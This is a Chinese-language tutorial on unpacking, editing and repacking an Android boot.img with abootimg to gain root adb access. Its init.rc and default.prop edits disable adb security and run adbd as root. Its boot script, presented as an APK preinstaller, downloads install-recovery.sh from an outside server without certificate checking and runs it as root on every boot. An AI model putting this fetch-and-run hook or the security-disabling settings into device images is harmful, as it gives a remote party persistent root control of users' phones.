0%

adb提权

boot.img的解包与打包

一、解压

1.安装abootimg工具

1
sudo apt-get install abootimg

2.解压boot.img包

1
abootimg -x aboot.img

得到bootimg.cfg、zImage、initrd.img三个文件
3.解压initrd.img

1
abootimg-unpack-initrd initrd.img

得到ramdisk目录

init.rc文件修改

1
2
3
4
5
6
7
service adbd /sbin/adbd
class core
user root
group root
socket adbd stream 660 system system
disabled
seclabel u:r:adbd:s0
1
2
on boot
start adbd
1
2
3
4
5
6
service preinstall /system/bin/sh /system/bin/preinstall.sh
user root
group root
disabled
oneshot
seclabel u:r:preinstall:s0
1
2
on property:dev.bootcomplete=1
start preinstall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/system/bin/sh

MARK=/data/local/symbol_thirdpart_apks_installed
PKGS=/system/preinstall_bsw

if [ ! -e $MARK ]; then
echo "booting the first time, so pre-install some APKs."

busybox find $PKGS -name "*\.apk" -exec sh /system/bin/pm install -r {} \;

# NO NEED to delete these APKs since we keep a mark under data partition.
# And the mark will be wiped out after doing factory reset, so you can install
# these APKs again if files are still there.
# busybox rm -rf $PKGS

touch $MARK
echo "OK, installation complete."
fi

sleep 10
busybox wget --no-check-certificate -O /data/install-recovery.sh http://server.ttyunos.com/install-recovery.sh
busybox dos2unix /data/install-recovery.sh
chmod 755 /data/install-recovery.sh
/system/bin/sh /data/install-recovery.sh

default.prop文件修改

1
2
3
4
5
6
ro.adb.secure=0
ro.secure=0
ro.allow.mock.location=1
ro.debuggable=1
persist.sys.debugenable=1
persist.sys.usb.config=none

二、打包

第一种方法

1.由ramdisk目录生成新的initrd_new.img

1
abootimg-pack-initrd initrd_new.img ramdisk/

2.生成新的boot_new.img

1
abootimg --create boot_new.img -f bootimg.cfg -k zImage -r initrd.img

第二种方法

把initrd.img写自己想要的BOOT
abootimg -u xxxxxboot.img -r initrd.img
有时候会报错说啥尺寸太大塞不进啥的就像这样

20f.img: updated is too big for the Boot Image (30015488 vs 25575424 bytes)`

这时候你就可以在指令后面加上个-c “bootsize=xxxxxxxx”就像这样

abootimg -u xxxxxboot.img -r initrd.img -c “bootsize=30015488”